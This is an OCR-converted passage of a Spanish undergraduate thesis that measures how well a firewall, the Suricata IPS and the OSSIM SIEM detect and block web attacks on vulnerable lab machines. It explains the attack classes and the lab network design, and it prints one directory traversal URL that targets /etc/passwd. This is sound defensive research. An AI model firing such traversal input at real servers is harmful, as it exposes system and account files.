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Resumen del Trabajo:

El presente proyecto tiene como objetivo la medicién objetiva y cuantitativa del
nivel de proteccién del que disponen la mayoria de las entidades que tienen
sus servicios expuestos en Internet. Para ello se ha generado una plataforma
virtual la cual dispone de los elementos mas comunes de protecciones:

— Un firewall.
— UnIPS.

— Un correlador de logs.

Ademas, se ha creado un entorno virtual vulnerable. Dicho entorno es
protegido por los dispositivos enumerados en el parrafo anterior. Una vez se ha
generado el entorno, se ha puesto a prueba realizando una serie de
intrusiones. Dichas intrusiones siguen una metodologia muy parecida a la de
OWASP.

Finalmente, se ha presentado las conclusiones evaluando los datos obtenidos
tanto de intrusiones como de las pruebas bloqueadas por los elementos de
seguridad.




Abstract:

This project tries to do a objective measurement of the level of security
protection available to most entities that have their services exposed on the
Internet. For to do this exercise we made a virtual environment that have the
most common security appliances. These appliances or security products are:

— Firewalls.
— |IPS.

— An Event Correlation Engine.

On the other hand, these security products protect some vulnerable machines.
To test this second environment we made some intrusion tries. We used a
modification of the OWASP methodology to make all the intrusion tests.

Finally, we introduce the results of the entire job where we evaluate all the
blocked and successful tests.
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1. Introduccion

1.1 Contexto y justificacion del Trabajo

El constante crecimiento de Internet ha degenerado en que cada dia se
utilicen cada vez mas los servicios que ofrece esta potente red. Paulatinamente
va aumentando la oferta y demanda de realizar tramites a través de Internet,
asi como cualquier tipo de compra venta u otros servicios. Esto hace que cada
vez sea mas importante llevar a cabo una securizacién de los sistemas de
tecnologias de la informaciéon y comunicaciéon de las diferentes empresas que
ofertan estos servicios.

La evolucién de este entorno donde el intercambio de datos y bienes a través
de medios telematicos es totalmente habitual, se ha convertido en un medio
para intentar conseguir recursos de manera fraudulenta. De este modo han
aparecido diferentes vectores de ataque realizados sobre estos medios
virtuales. Entre ellos cabe destacar los siguientes:

— Ataques Web, aprovechando fallos de programacién o vulnerabilidades
en servidores web.

— Intentos de intrusiéon aprovechando vulnerabilidades conocidas en los
softwares base para realizar accesos no autorizados.

— Campanas de Phising.

— Campanas de Malware.

— Ingenieria social.

— Fugas de informacion.

— etc.

Con estos medios, los diferentes entes intentan aprovecharse de los recursos
de las empresas. Debido a ello, nace el campo de la seguridad informatica y
mas concretamente los ambitos en los que se basara este proyecto. Por un
lado, el campo de la seguridad perimetral donde se introducen diferentes
mecanismos con el fin de limitar y controlar los accesos e invocaciones
remotas. Por otro lado, nace la monitorizacion de seguridad donde se
implementan diferentes medios para detectar y bloquear los principales intentos
de vulneracion e intrusion de sistemas.

Concluyendo, este proyecto nace con la idea de probar las capacidades
paliativas que tienen los medios de seguridad WEB que se implementan hoy en
dia. Obteniendo como resultado una medida cuantitativa de cdémo de
vulnerables son los sistemas actuales.



1.2 Objetivos del Trabajo

El presente proyecto tiene como objetivo medir la efectividad de la
seguridad perimetral que se estan implementando en los ultimos afios en las
diferentes empresas. Con este objetivo se creara un entorno de prueba
virtualizado, en este se aplicaran distintos vectores de ataques mediante test
de intrusion y se medira el grado de la eficacia de la solucion implementada.

Con el fin de medir la efectividad se ha decidido implementar todas las capas
de seguridad perimetral disponibles actualmente. Esto se hara mediante el
despliegue de distintos desarrollos de software libre en un entorno virtualizado
y controlado de maqueta. Entre las tecnologias que se implementaran
encontramos:

- Una doble capa de Firewall.

- Un sistema de proteccién de intrusos (IPS).

- Un correlador de eventos de seguridad o SIEM. (Este se implementa con
fines de realizar busquedas forenses y aumentar la deteccion).

Por otro lado, para facilitar los diferentes test de penetracién se instalaran una
serie de maquinas vulnerables basadas en los laboratorios que facilitan en la
web: https://pentesterlab.com/exercises/. También se instalara una maquina
virtual Linux dénde se instalara un DVWA (Damn Vulnerable Web Application)
con fines de realizar pruebas sobre un entorno mas controlado vy
minuciosamente monitorizado.

1.3 Enfoque y método seguido

El proyecto se enfocara principalmente en dos fases. En la primera de
ellas se implementara el sistema de seguridad perimetral. En la segunda se
pondra a prueba el sistema establecido y se documentara todas las pruebas
realizadas con los resultados obtenidos.

Para la primera fase, existen principalmente tres estrategias para realizar la
implementacion de la seguridad perimetral y el sistema de monitorizacion.
Estas tres estrategias son:

1. Implantar un sistema basado en software privativo

2. Implantar un sistema basado en software libre

3. Implantar un sistema basado en software propio.

Debido a la cantidad, calidad y madurez de los proyectos de seguridad de
software libre y privativo que existen se ha procedido a descartar la ultima
opcion. Por otro lado, la estrategia que finalmente se seguira sera la segunda.
Se ha decido utilizar esta estrategia debido a la reduccion de costes que
supone, y en especial que por experiencia propia puedo indicar que las
medidas de seguridad de las diferentes empresas dependen en gran medida
de los analistas de seguridad que las instalan. De tal manera que muchas
implementaciones basadas en software libre son mucho mas estables vy
seguras que soluciones basadas en productos privativos.



Con el fin de planificar y ejecutar la segunda fase, la cual se basa en realizar
test de intrusion y documentar los resultados, se pueden seguir dos tipos de
estrategias diferentes:
1. Realizacion de pentesting manual mediante inyeccion controlada de
diferentes payload y fragmentos de cédigo.
2. Realizacion de pentesting con herramientas automaticas como son
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‘nmap”, “openvas”, “sqlmap”, etc.

Debido a las diferentes naturalezas de las intrusiones de sistemas, se optara
por ejecutar ambas estrategias. De este modo, se cuantificara el grado de
deteccion que existe cuando tenemos un atacante silencioso que realiza
pruebas muy controladas, en contraposicion del clasico atacante que realiza
pruebas de manera masiva sin tener la menor intencién de ocultarse.

Por tanto, el enfoque general sera el establecer un sistema de seguridad
perimetral y monitorizacion basado en software libre el cual se pondra a prueba
mediante inyecciones controladas y barridos con herramientas.

1.4 Planificacién del Trabajo

La planificacién del trabajo se ha realizado principalmente en tres fases durante
las cuales se desarrollan distintas actividades. A continuacion se detalla el
contenido de cada fase:

Fase I: Implementacion del sistema de seguridad perimetral y entorno de
trabajo (PAC 2).

— Inicio: 14/03/16, fin: 18/04/16.

— Detalle: se realizara el diagrama de red de la plataforma. Una vez
realizado se instalara un servidor virtual de tipo ESXi en el cual se
instalaran todos los elementos de la plataforma. Una vez finalizado el
despliegue se procedera a testear el correcto funcionamiento.

Fase II: Realizacion de pruebas de intrusiéon sobre el entorno (PAC 3).
— Inicio: 18/04/16, fin: 16/05/16.
— Detalle: se realizaran todo tipo de escaneos y pruebas manuales sobre
las plataformas instaladas en la fase previa.

Fase lll: Documentacion de pruebas sobre el entorno y realizacion de
memoria (PAC 4).

— Inicio: 16/05/16, fin: 06/06/16.

— Detalle: finalizacion de las pruebas automaticas con escaneres de
vulnerabilidades y otras herramientas automaticas. Una vez acabado
este punto se procedera a la extraccion de las evidencias de las
diferentes pruebas de intrusion. Posteriormente se documentara todo y
se realizara la memoria final del trabajo fin de grado.

A continuacion se adjunta la planificacién detallada de las sub-tareas y
diagrama de tiempo correspondiente:



Detalle de las diferentes fases:

Name Beqgin date End date
= @ Fase l: Implementacion del sistema de seguridad perimetral y entorno de trabajo (PAC 2) 3/14/16 4/18/16
o Fase |I: Disefio de arquitectura. 3/14/16 3/18/16
@ Fase LI Instalacién del sistema operativo virtual (ESXi). 3/21/16 3/23/16
@ Fase LIl Instalacién del firewall perimetral, interior e IPS en linea. 3/23/16 4/18/16
@ Fase LIV: Instalacidn de los sistemas vulnerables. 3723116 4/18/16
@ Fase |V: Pruebas de conectividad del entorno generado. 3/23/16 4/18/16
E e Fase ll: Realizacién de pruebas de intrusidén sobre el entorno (PAC 3) 4/19/16 5/15/16
@ Fase .l escaneos previos 4/19/16 4j26/16
@ Fase LI prugbas de intrusidn manuales 4/26/16 5/16/16
@ Fase LIl inyecciones de cédigo manuales 4/25/16 5/16/16
E @ Fase lll: Documentacion de pruebas sobre el entorno y realizacién de memoria (PAC 4) 5/17/16 6/6/16
@ Fase lll.l: pruebas de intrusidn con herramientas 5/17/16 5/20/16
@ Fase lllIl: extraccién de evidencias de las pruebas 5/23/16 5/23/16
& Fase lILII: documentacion y realizacién de la memaoria 5/23/16 6/6/16

Figura 1: planificacion de fases.




Planificacion temporal del proyecto:

: ZoomIn | Zoom Out Today ~ | « Past | Future - Show critical path | Baselines...
2018
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Fase |: Implernentacién del sisterna de seguridad perimetral v entorne de trabaje (PAC 2) ‘4,.-2 9516

Fase |.I: Disefio de arquitectura.

|

I: Instalacion del sisterna operativo virtug [ESXI

Fase LI Instalacidn del firewall perimetral, interior 2 IPS en linea

Fase LI Instalacidn de los sistemnas wulnerables

Fase I Prusbas de conectividad del ertorne generado.

Fase |I: Realizacidn de pruebas de intrusién sobre el entorna [PAC 2)

L

Fase |l.I: escaneos previos

Fase ILII: pruzbas de intrusidn rmanualed

Fase ILIII: inyecciones de cddigo manuales

Fase lll: Documentacion de prgebas sobre el entarno v realizacion de rmernoria (FAC 4

Fasz lIl.I: pruebas de intrusidn con herrarniertas
Fase lIl.II: extraccidn de evidencias de las pruebas
Fase .1l docurnentacian y realizacion de la memoria

Figura 2: Planificacion de fases - diagrama de Gantt.



1.5 Breve sumario de productos obtenidos

El producto que se pretende conseguir con este ejercicio son las tasas de
deteccidn y bloqueo que realizan las plataformas de seguridad perimetral. Este
producto se medira en relaciéon a diferentes vectores de ataque. En los
capitulos 5 y 6 de la memoria se detallaran todos estos resultados.
Adelantando parte de estos, se puede indicar que las tasas de deteccion han
estado entorno al 40-50%, por el contrario las tasas de bloqueo de ataques han
rondado el 25% del total. Estas tasas son indicativas que las medidas de
seguridad perimetral mas basicas no son suficientes para parar los principales
intentos de intrusion.

1.6 Breve descripcion de los otros capitulos de la memoria

La memoria se ha estructurado en varios capitulos, el fin de esta estructura es
la de en primer lugar aportar los conocimientos tedricos basicos necesarios
para realizar el trabajo. En segundo lugar se plantearan varios capitulos mucho
mas practicos donde se detallan las arquitecturas y ataques realizados. En
ultimo lugar se presentara la conclusion del proyecto, la biografia basica, y los
anexos. A continuacidn se detalla el contenido de los capitulos teorico-
practicos:

Capitulo 2: "Conceptos teoricos basicos". En este segundo capitulo se
explicaran los conocimientos tedricos basicos necesarios para entender tanto el
entorno de trabajo como las pruebas y conclusiones que se realizaran.

Capitulo 3: "El escenario de trabajo". En esta parte del proyecto se disefiara e
implementara la defensa de seguridad perimetral, asi como los diferentes
segmentos y flujos de red.

Capitulo 4: "Pruebas ejecutadas sobre el entorno". Tras haber implementado
todas las defensas perimetrales en este cuarto capitulo se pondran a pruebas a
través de realizar diferentes pruebas de intrusién tanto manuales como
herramientas. El capitulo detallara técnicamente que pruebas se han realizado.

Capitulo 5: "Resultados obtenidos". Es este quinto capitulo se detallara el
grado de penetraciéon que se ha conseguido con las pruebas realizadas. De
esta manera sacaremos los datos cuantitativos de que porcentajes de ataques
se paran en funcion de los diferentes vectores de ataques realizados.

Capitulo 6: "Conclusiones". En este ultimo capitulo de la memoria principal se
intentaran analizar y concluir como de efectivos son los sistemas perimetrales
que se implementan en las empresas actualmente.



2. Conceptos tedricos basicos

2.1 Herramientas de proteccién

La solucién de seguridad disefada para el entorno vulnerable consta de un
firewall perimetral y un detector de intrusos en linea con capacidad de bloqueo.
Esta solucidon se ha complementado con un correlador de eventos de seguridad
con fines analiticos. Con todo esto se intentara detectar el mayor numero de
ataques posibles de los que se ejecutaran contra las maquinas vulnerables que
se han instalado.

2.1.1 Dispositivos de tipo cortafuegos:

Un cortafuegos o firewall es un sistema de defensa encargado de canalizar,
limitar y autorizar los diferentes flujos de trafico que se originan entre las
diferentes redes o subredes que componen las entidades publicas o privadas.
Entre las funciones mas habituales de los firewalls tenemos:

— Autorizacién o denegacion de traficos.

— Registro de las comunicaciones entre redes.

— Encaminamiento (“routing”) de paquetes entre redes.
— Segmentacion y securizacion de las grandes redes.

Esta labor se realiza a través de un motor de inferencia basado en reglas.
Estas reglas son configuradas por los administradores con el fin de autorizar o
denegar comunicaciones.

Actualmente los firewalls han ido evolucionando hacia los modelos actuales de
Firewall UTM y los NG Firewall. A continuacion se detalla brevemente cada uno
de estos:

— Firewall UTM: (Unified threat management) son firewalls que engloban
una cantidad elevada de funciones en un unico dispositivo. Estan
disefiados para funcionar como elemento de seguridad perimetral, IPS,
antivirus, control de aplicaciones, proxy e incluso realizar tareas de
calidad del servicio (QoS). Actualmente estos modelos estdn muy
extendidos para pymes, dénde tener una gran cantidad de dispositivos
seria muy caro.

— NG Firewall: (Next Generation) es un concepto de firewall que ademas
de aportar la funcionalidad basica de firewall aporta unas caracteristicas
muy concretas a nivel de IPS y control de aplicaciones. Suelen actuar
como firewall perimetral y ademas aportan la inteligencia necesaria para
parar ataques en capa 7 (capa de aplicacion).

2.1.2 Dispositivos de tipo detector de intrusos “IPS”:

Llamaremos intrusidn a un conjunto de acciones que intentan comprometer la
integridad, confidencialidad o disponibilidad de un recurso. Debido a esto



denominaremos sistemas de deteccidon de intrusos a los dispositivos
encargados de detectar este tipo de comportamientos. Existen principalmente
dos tipos en funcién de la ubicacién que ocupa el dispositivo en la red y del
comportamiento que tengan tras detectar una alerta:

— IDS (sistema de deteccidn de intrusos): estos dispositivos se encuentran
offine y a priori solo detectan eventos sin realizar remediaciones ni
mitigaciones sobre el trafico.

— IPS (sistema de prevencion de intrusos): estos dispositivos se
encuentran online en la red y cada vez que detectan un comportamiento
anomalo proceden a mitigar el ataque.

Por otro lado, segun su funcionamiento podemos diferenciar cuatro tipos de
motores de deteccion de intrusos:

1. Network-Based: se trata de detectores de intrusos que analizan los
diferentes traficos que atraviesan por la red corporativa o DMZ de la
empresa.

2. Wireless: son un tipo de detectores que monitorizan las redes wireless
disponibles asi como la actividad sospechosa detectada relacionada con
los protocolos inalambricos.

3. Network Behavior Analysis (NBA): estos dispositivos son los
encargados de analizar los traficos de red de manera mas analitica y
estadistica con el fin de detectar comportamientos inusuales de los
dispositivos o de determinados flujos de red.

4. Host-Based: es un tipo de software que se instala en un equipo terminal
para que realice una proteccion de este. Suele monitorizar la actividad
sospechosa trazando la actividad de los usuarios en un sistema.

2.1.3 Dispositivos de tipo SIEM:

El fin de esta tecnologia es la de recoleccion y normalizacion de la informacién
de los diferentes sistemas de seguridad. Esto se realiza con el fin de correlar o
cruzar los distintos tipos de informacion para detectar los diferentes vectores de
ataque. Esta deteccidn se realiza a través de la generacion de alertas de
seguridad. Una alerta de seguridad la podemos definir como un suceso
malicioso que se ha disparado al detectar cualquier tipo de violacion, ya sea
debido a las politicas de seguridad impuestas o0 a un intento de intrusion.
Habitualmente estas alertas son disefiadas por los analistas de seguridad
adaptandose a las necesidades de la entidad donde se estan generando.

Por otro lado, los SIEM también se utilizan con fines de almacenamiento
masivo. De tal modo que se guardan las trazas de los sistemas para
posteriormente poder realizar labores de forense sobre los datos disponibles.

Por tanto, podemos concluir que un SIEM es una herramienta que normaliza
diversos datos de entrada y cuya funciéon principal es la monitorizacién de
seguridad de los entornos que recolecta. En consecuencia, aporta un nivel
superior de inteligencia respecto los dispositivos que recolecta.



2.2 Vulnerabilidades

La RAE (Real Academia Espanola) define vulnerabilidad al hecho de poder ser
herido, o bien recibir una lesion fisica o moralmente. En nuestro caso, al hablar
de sistemas de la informacion definimos vulnerabilidad como una debilidad de
cualquier tipo que se puede utilizar con el fin de comprometer la seguridad de
un sistema informatico.

Principalmente se pueden desglosar las vulnerabilidades en tres grandes
familias:

a) Vulnerabilidades de disefo: en esta familia entran principalmente
todas las vulnerabilidades relacionadas con disefios erréneos de
protocolos de red. También entrarian las vulnerabilidades por las malas
politicas de seguridad o arquitecturas de red.

b) Vulnerabilidades de implantaciéon: aqui encontramos todas las
vulnerabilidades relacionadas con errores de programacion de
aplicativos o fallos en las implementaciones que realizan los fabricantes
de aplicativos, protocolos, etc.

c) Vulnerabilidades de "uso": en este grupo definiremos "uso" como la
explotacion o puesta en marcha de un sistema informatico. Es bastante
habitual configurar erroneamente las aplicaciones dejando expuesto al
exterior mas datos de los necesarios.

A continuacion se detallan las principales vulnerabilidades que se explotaran a
lo largo del proyecto.

SQL injection:

Los ataques inyeccion SQL explotan una vulnerabilidad muy especifica
generada por errores de programacion web. Estos errores consisten en la no
validacion de las entradas introducidas por los usuarios en las paginas web.
Estas entradas se realizan por ejemplo en los campos de busqueda. De este
modo, un atacante puede aprovechar dicha vulnerabilidad para inyectar cédigo
SQL adicional con el fin de alterar el funcionamiento normal de la pagina web.
El nuevo caodigo insertado puede conseguir acceder a datos que normalmente
no estarian disponibles, e incluso depende del tipo de inyeccion SQL que se
realice, se puede generar mas o menos dano en el entorno, llegando al punto
de descargarse la base de datos completa o llegando a realizar un DROP de
todas las tablas.

ShellShock:

ShellShock es una vulnerabilidad relativamente nueva que se ha adicionado a
este entorno por la facilidad de explotacion y de deteccion que tiene.



Simplificando mucho el detalle, esta vulnerabilidad afecta a una gran cantidad
de equipos Linux y Unix. Esta permite mediante la definicion de una variable la
ejecucion de un comando posterior con elevacion de privilegios. ShellShock es
especialmente peligrosa si se dispone de servidores que utilizan la “Shell” de
tipo BASH en servidores web que interpreten CGl de manera automatica.

File Inclusion:

La Inclusion de ficheros se trata de vulnerabilidades que permiten subir un
fichero a un directorio web con el fin de posteriormente ejecutarlo.
Habitualmente se da en servidores web que alojan imagenes y que no tienen
correctamente validada la carga de ficheros. De este modo, un atacante
aprovecha esto para subir pequefos “scripts” o software con el fin de
posteriormente ejecutarlo de manera remota.

Cross Site Scripting:

Se trata de ataques basados en realizar inyecciones de codigo con el fin de
que el servidor web las interprete y las ejecute realizando tareas para las que
no estaba disefado. Dichas tareas suelen estar orientadas al robo de
credenciales o datos comprometidos del usuario. Las inyecciones de cédigo
habitualmente se realizan en lenguajes que el servidor web es capaz de
interpretar como son lenguajes de scripting tipo “Java Script” o directamente
lenguaje HTML.

Directory Transversal:

Este tipo de vulnerabilidades permiten a un atacante acceder a ficheros o
directorios superiores (directorios padre) del sistema operativo que aloja un
servidor web. Esto ocurre cuando se ejecuta un servidor web con un usuario
con demasiados privilegios o incluso con un super usuario. Explicado esto, un
hipotético atacante podria usar esta vulnerabilidad para acceder al fichero
“letc/passwd” (fichero de Linux que contiene listado de usuarios) al poner lo
siguiente en la URL de un servidor web Apache montado sobre un sistema Unix
/ Linux:

http://web.de.ejemplo.com/../../../..]..|..letc/passwd
Inyecciéon de comandos:
Esta vulnerabilidad consiste en un fallo de programacion por el cual un servidor
web interpreta el texto que un atacante puede llegar a insertar en un campo de
texto libre o campo de busqueda. El atacante aprovecha la vulnerabilidad

insertando comandos que el servidor ejecuta, forzando a este a realizar tareas
para las que inicialmente no estaba disefnado.
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Inyeccion XML:

La inyeccion XML realmente es un derivado de las inyecciones SQL, el
principal matiz es que estan orientadas a bases de datos XML en lugar de SQL.
Al igual que en SQL, se trata de una vulnerabilidad producida por la no
validacion de la entrada de datos procedentes de los usuarios. Todos estos
datos se insertan a través de la pagina web, y al igual que en casos anteriores,
un atacante utilizara este error con el fin de alterar las consultas que se realizan
al XML con el fin de extraer la mayor cantidad de informacién posible o generar
dafos persistentes.

Fuerza bruta:

Los ataques de fuerza bruta consisten en realizar comprobaciones masivas de
autenticacion con una gran cantidad de usuarios y contrasefias con el fin de
obtener acceso al sistema. Estos ataques intentan explotar fallos de
configuracion en los servidores. Estos fallos consisten en que las aplicaciones
no suelen tener bien configuradas algunos de los siguientes puntos:

— No se limita el numero de conexiones e intentos de autenticacion que
puede realizar un usuario.

— No tienen medidas de seguridad la cual genere bloqueos temporales de
usuarios o IPs.

— No limitan la cantidad de autenticaciones durante un periodo de tiempo.

— No tienen politicas de contrasefias adecuadas para los usuarios (las
contrasenas son demasiado débiles).

Esto acaba produciendo que los atacantes utilizando herramientas especificas
y diccionarios con las contrasefas y usuarios mas habituales puedan ganar
acceso al sistema sin demasiada dificultad.

2.3 Metodologias de pruebas de intrusion:

Cuando se van a realizar pruebas de intrusion se suele utilizar una metodologia
concreta. Esta metodologia es basicamente un compendio de pasos o tareas a
revisar con el fin de encontrar posibles fallas de seguridad. Uno de los mas
conocidos para desarrollo web es la metodologia conocida como OWASP.

2.3.1 OWASP:

OWASP es el acronimo en inglés que se traduce como "Proyecto abierto de
seguridad de aplicaciones web". Es decir, es un proyecto cddigo abierto cuyos
objetivos son determinar y combatir principalmente:
— Los vectores de ataque web mas utilizados.
— Los fallos que comenten tanto programadores a la hora de desarrollar
aplicativos.
— Los fallos que comenten los administradores de servidores web.

11



Como tal, OWASP es un organismo sin animo de lucro que se encarga de
generar documentacion, crear herramientas y generar metodologias de revision
de servidor y aplicativos. El fin de esta labor es la correccion de los fallos antes
mencionados.

2.3.2 Metodologia utilizada para las pruebas de intrusién:

Para las pruebas que se realizaran en este proyecto se seguira una
metodologia basada en OWASP [5] pero mucho mas reducida. Por tanto, se ha
disefiado una metodologia adaptada a las necesidades del proyecto y las
pruebas que hay que realizar. Esta se ejecutara principalmente en tres fases o
grandes bloques:

— Fase | (recopilacion de informacion) durante la primera fase se
realizaran las pruebas menos intrusivas en los sistemas. Basicamente
se lanzaran escaneos con el fin de descubrir servicios y versiones
asociadas a estos.

— Fase IlI: (pruebas de gestién de la configuracion) en esta segunda fase
se intentaran testear los fallos de configuracion mas habituales en los
servidores web como es los accesos a los directorios padre del sistema
operativo.

— Fase lll: (pruebas de validacion de datos) en esta ultima fase se

procedera a realizar todas las pruebas de inyeccion de cédigo malicioso
con el fin de vulnerar los sistemas de informacion.
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3. El escenario de trabajo

El proyecto general de la arquitectura se ha realizado siguiendo unas lineas de
disefio muy rigidas. El fin de estas lineas de disefio es que la plataforma sea lo
mas fidedigna posible a lo que son las defensas de seguridad perimetral
actuales. De esta manera, se intentara poner a prueba las medidas de
seguridad de las plataformas que se instalan en las empresas publicas y
privadas actualmente.

3.1 Maquinas vulnerables

Para las pruebas de los diferentes vectores de ataque se han implementado
una serie de maquinas virtuales que son vulnerables a los principales vectores
de ataque web. Todos estos entornos se tratan de maquinas virtuales ya
preparadas. Para instalar la maquina unicamente se ha descargado una ISO ya
preparada desde la web de “pentester lab”. Todos los laboratorios vienen con
un manual para realizar la explotacion especifica de cada una de las
vulnerabilidades. A continuacion se detalla desde donde se puede descargar la
ISO asi como el manual.

3.1.1 Entornos vulnerables a SQLi:

Se tratan de entornos muy especificos para realizar simulaciones de ataques
de inyeccion SQL.

Maquinas vulnerables instaladas:
a) VVM-SQLi-01: enlace a la ISO [11], documentacion [17].

b) VVM-SQLi-02: enlace a la ISO [12], documentacién [18].

3.1.2 Entornos vulnerables a ShellShock:

Este entorno viene preparado para poder explotar una vulnerabilidad de tipo
Shellshock.

Maquinas vulnerables instaladas:

a) VVM-ShellShock-01: enlace a la ISO [16], documentacién [22].

3.1.3 Entornos web vulnerables:

Estos entornos son los mas generalistas. Vienen preparados para explotar
cualquier de las vulnerabilidades explicada en el capitulo 2. Seran estas
maquinas las que se usen para realizar la mayoria de las pruebas para
dictaminar cuan segura es la defensa perimetral.
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Maquinas vulnerables instaladas:
a) VVM-WebForPentester-01: enlace a la ISO [14], documentacidn [20].
b) VVM-WebForPentester-02: enlace a la ISO [15], documentacion [21].

c) VVM-PXmIEntities-01: enlace a la ISO [13], documentacion [19].

3.2 Herramientas de proteccion

A la hora de decidir la arquitectura que se iba a implementar y la ubicacién y
tipo de las herramientas de proteccidon se ha tenido en consideracion los
siguientes puntos:

- ¢, Cuales son las herramientas de proteccion mas extendidas?
- ¢, Qué medidas suelen implementar las empresas?
- En caso de implementar algo mas avanzado, ¢,qué suelen implementar?

Estas consideraciones han llevado a la conclusién que las herramientas mas
extendidas son los cortafuegos (Firewalls). Una vez implementados estos, la
siguiente eleccidn siempre suelen ser los detectores de intrusos (IPS/IDS). En
tercer lugar, cuando la madurez de las herramientas ha llegado a este punto se
suelen incluir un SIEM o correlador de logs con fines de almacenamiento
masivo, forense y generacion de alertas. Este grado de madurez es al que
suelen estar llegando las empresas y entidades publicas actualmente. En
consecuencia plantearemos como solucion de arquitectura el siguiente
esquema que propone el NIST [4]:
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Figura 3: esquema de red propuesto por el NIST.

A continuacién se detallan las herramientas especificas seleccionadas de cada
una de las categorias.

3.2.1 Herramientas de proteccion: seleccion del firewall

Para la implementacion en nuestro sistema hemos elegido un modelo de
software libre llamado "Endian Firewall" [10]. Se ha elegido principalmente esta
tecnologia debido a que implementa en un unico dispositivo las siguientes
funcionalidades (entre otras):

— Funcionalidad de cortafuegos.

— Funcionalidad de acceso remoto VPN.

— Interfaz de usuario para la configuracion de las reglas. (Esta parte facilita
mucho la administracion del dispositivo frente al habitual firewall de tipo
"Iptables").

— Funcionalidad de proxy. De esta manera se obliga en este proyecto a
que todas las maquinas salgan a internet a través de este firewall
canalizando las conexiones a través del proxy.

— Funcionalidad de envio de trazas a syslog remoto. Esta parte ha sido
también bastante importante ya que de esta manera se integra con el
correlador de logs, el cual recibe los eventos del firewall y los procesa
para generar alertas.
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En consecuencia, se ha seleccionado "Endian Firewall" debido a que es un
firewall UTM [10] que se instala en las empresas y entidades, el cual cumple
una gran cantidad de funciones. Por tanto, este firewall esta a caballo entre lo
que es un cortafuegos clasico y lo que actualmente se considera un "NG
Firewall" (Next Generation Firewall), es decir, un firewall que contiene el control
de aplicaciones, IPS y antivirus en un mismo dispositivo.

3.2.2 Herramientas de proteccion: seleccion del IPS

Para la implementacion de nuestro modelo hemos utilizado un IPS de red, es
decir, un sistema de prevencion de intrusos basados en la deteccion de
ataques a través de analisis de los traficos de red que pasan a través de él. En
concreto, se ha seleccionado "Suricata" [7] como elemento de software libre
para realizar esta implementacion. EI motivo de la seleccion de "Suricata" como
motor de deteccion de intrusos es debido a que es la evolucion multihilo de
snort, el cual es uno de los IDS mas desplegados y utilizados en el mundo de
software libre. Ademas, existe una gran comunidad de usuarios que utilizan
snort y disefian nuevas firmas para detectar los nuevos patrones de ataques
que van surgiendo a medida que aparecen nuevas vulnerabilidades.

Con el fin de que el entorno sea lo mas parecido a los entornos reales, se ha
cargado el paquete de reglas profesionales de "Emerging Threats" [9] que
realizan para “Snort” o “Suricata”. Este paquete de firmas esta compuesto por
una cantidad muy grande de firmas (entorno a 12000) relacionadas con la
deteccion de patrones tanto de ataques clasicos, como los ataques mas
nuevos. Por tanto, estos paquetes de pago cubren un abanico muy elevado de
vulnerabilidades. De este modo, se incrementa la fiabilidad de las detecciones
y bloqueos que realicemos ya que estas firmas estan disefiadas por analistas
expertos en seguridad.

Adicionalmente, se ha puesto “Suricata” en modo IPS, es decir, en linea. Se ha
puesto asi con el fin de que sea capaz de bloquear las conexiones maliciosas
que pasan a través de él. Para ver exactamente como se ha configurado, ver el
anexo 9.4.

3.2.3 Herramientas de proteccion: seleccion del SIEM

De cara a la selecciéon de un sistema correlador de eventos de seguridad con
capacidades forenses se ha elegido OSSIM [6]. Se ha seleccionado OSSIM ya
que se trata de un producto de software libre el cual tiene una integracion
totalmente nativa con el detector de intrusos seleccionado "Suricata". Ademas
de esto, Ossim ofrece varias cualidades que eran necesarios como son:

— Capacidad de correlacion de eventos en tiempo real.

— Capacidad de almacenamiento masivo de trazas, para utilizarlos
posteriormente como evidencias.

— Presentacidon normalizada de los datos independientemente de la
tecnologia.
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— Dispone de una amplia comunidad que da soporte para la realizacion de
plugins personalizados (normalizadores de eventos).

— Capacidad de realizar reglas de correlacion de forma rapida a través de
XML.

— Ossim integra multiples herramientas de seguridad como son nmap,
Openvas, etc.

El esquema ldgico en nuestro despliegue es el siguiente:

Tareas realizadas:
- Normalizacion

Corralized - Correlacion
Calabass & —_
Analysis - Analisis

- Almacenamiento

NSRS D8PS D5Ps
Seraor on Eeraor on - [FESTAESS
LAN ! LAH A

h J LA&N i

Figura 4: esquema légico de la implantaciéon del SIEM.

3.3 Flujos de comunicacion

En la plataforma se han disefiado principalmente tres flujos de comunicacion
entre los que cabe destacar:

1. Flujo I: vector de ataque. Este flujo es el camino que ha de seguir un
atacante para intentar vulnerar los diferentes sitios web implementados
en el entorno disefado. Este flujo pasa obligatoriamente a través de
todas las medidas de seguridad implementadas, es decir, el firewall, y el
IPS.

2. Flujo II: administracion sobre la VPN. Este flujo es la comunicaciéon que
se utiliza para comunicar los servidores. Inicialmente el usuario levanta
una VPN contra el firewall y este le permite acceder directamente a la
red de gestion para poder acceder directamente a los servidores.

3. Flujo llIl: envio de eventos. Este flujo es el que siguen los distintos
dispositivos para enviar las trazas y evidencias al recolector de logs
disponible en el SIEM. Al igual que el flujo anterior este funciona sobre la
red de gestion de los dispositivos.

17



IP5 PER-RCP-01
I'W-FLR-ARCP-01

Lakereonexion: Red: 10,147 1050/ 24 - DM P

=l %) e
172.18.169.11 , e e

RED DE
" SERVIDORES
. VULNERABLES
% f

! Red: 10,147,104 0/ 24 - Gestion )

Atacante

AYSTEH -RCP-01

Administrador de
la plataforma

Flujo: Véctor de ataque

Flujo: administracidn VPN -—____._--'
Flujo de envio de eventos ~———

Figura 5: arquitectura de red - disefio de flujos.

3.4 Segmentacion de red:

Para realizar la implementacion del proyecto se han definido 5 segmentos de
red diferentes. Cada uno de estos tiene un fin distinto, a continuacién se indica
en detalle para que se utilizan cada uno de ellos:

- Red de gestion (10.147.104.0/24). esta red interconecta todas las
maquinas con el fin de que los administradores se puedan conectar a
ellas para gestionarlas desde la VPN que se levanta contra el firewall.
Ademas, es utilizada para enviar las trazas de los dispositivos al SIEM
instalado en la plataforma.

- Red de servicio (10.147.106.0/24): esta red es la encargada de
interconectar el IPS con los diferentes servidores vulnerables. Por esta
red es donde llegan los diferentes ataques desde la red externa.

- Red DMZ (10.147.105.0/24): es el area desmilitarizada, interconecta la
red publica que se encuentra en el firewall perimetral con el IPS que se
conecta con los servidores vulnerables a través de la red de servicio. Es
una red que tiene los accesos limitados a los servicios web publicados.

- Red VPN (10.100.100.0/24): es la red virtual que se levanta desde los
clientes administradores hasta el firewall para generar una interconexién
de administracion tanto con los servidores finales como con los
dispositivos de seguridad.
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- Red publica o de interconexion (172.18.169.0/28): esta red sera la que
emule el segmento publico de Internet, sera donde realmente estan
publicados todos los servicios de las maquinas con vulnerabilidades.

El direccionamiento de red que tienen los diferentes nodos en estos segmentos

es el siguiente:

